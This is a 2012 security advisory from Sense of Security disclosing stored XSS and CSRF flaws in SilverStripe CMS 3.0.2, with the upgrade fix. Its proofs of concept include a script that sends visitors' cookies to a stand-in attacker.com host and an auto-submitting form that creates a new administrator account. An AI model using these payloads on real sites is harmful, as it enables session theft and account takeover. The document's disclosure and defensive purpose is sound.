Sense of Security	Authorisation. Jason Edelstein
	Release date. 30 November 2012.

Sense of Security – Security Advisory – SOS-12-011.

SilverStripe CMS Multiple Vulnerabilities.

30 November 2012.

SilverStripe CMS Multiple Vulnerabilities - Security Advisory - SOS-12-011

Release Date.	30-Nov-2012
Last Update.	-
Vendor Notification Date.	29-Oct-2012
Product.	SilverStripe CMS
Platform.	Windows
Affected versions.	3.0.2
Severity Rating.	Medium
Impact.	Privilege escalation, cross-site scripting
Attack Vector.	From remote with authentication
Solution Status.	Upgrade to version 3.0.3 (advised by vendor)
CVE reference.	CVE - not yet assigned

Details.

SilverStripe CMS is an open source web content management system used to build websites, intranets, and web applications. SilverStripe is vulnerable to a stored Cross-Site Scripting (XSS) vulnerability and Cross-Site Request Forgeries (CSRF).

Stored XSS:

The site title field in the configuration page fails to securely output encode stored values. As a result, an authenticated attacker can trigger the application to store a malicious string by entering the values into the site title field. When a user visits the web site, the malicious code will be executed in the client browser.

Proof of Concept. (XSS)

Enter the below into the site title field:

```
<script>
document.location="http://attacker.com/stealcookie.php?cookie=
" + document.cookie
</script>
```

When any user visits the web site the above client-side code will be executed in the client browser to steal their cookie. The following page is vulnerable:

http://www.website.com/admin/settings/

CSRF:

The privilege escalation is possible because the form used to change user account passwords does not require the user to confirm their current password and is vulnerable to CSRF. An attacker can reset an Administrator password by creating a malicious web site that sends a POST request to change the current user's password while they are logged into the CMS. This vulnerability can be combined with the above XSS to force the user to visit the malicious web site as soon as the user logs into the CMS.

The only item required to create the CSRF is the SecurityID value which can be extracted from many pages in the CMS. After sending the request the attacker can login as a new Administrator with the credentials detailed below.

Proof of Concept. (CSRF)

Example CSRF Request to create a new admin user with limited CSRF protection enabled:

```
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form
action="http://x.x.x.x/admin/security/EditForm/field/Members/i
tem/new/ItemEditForm" name="form"
method="POST">
<input type="text" name="FirstName" value="Alan">
<input type="text" name="LastName" value="Jackson">
```

```
<input type="text" name="Email"
value="ajackson79@outlook.com">

<input type="text" name=" Password[_Password]"
value="Squash!">

<input type="text" name=" Password[_ConfirmPassword]"
value="Squash!">

<input type="text" name="Locale" value="en_GB">

<input type="text" name="SecurityID"
value="528475a4e3c36029d580fc219260bdffa3046c2b">

<input type="text" name="action_doSave" value="1">

</form>

</body><br>

</html>
```

Solution.

Upgrade to version 3.0.3.

Discovered by.

Nathaniel Carew from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

	Authorisation. Jason Edelstein
	Release date. 30 November 2012.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-011.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php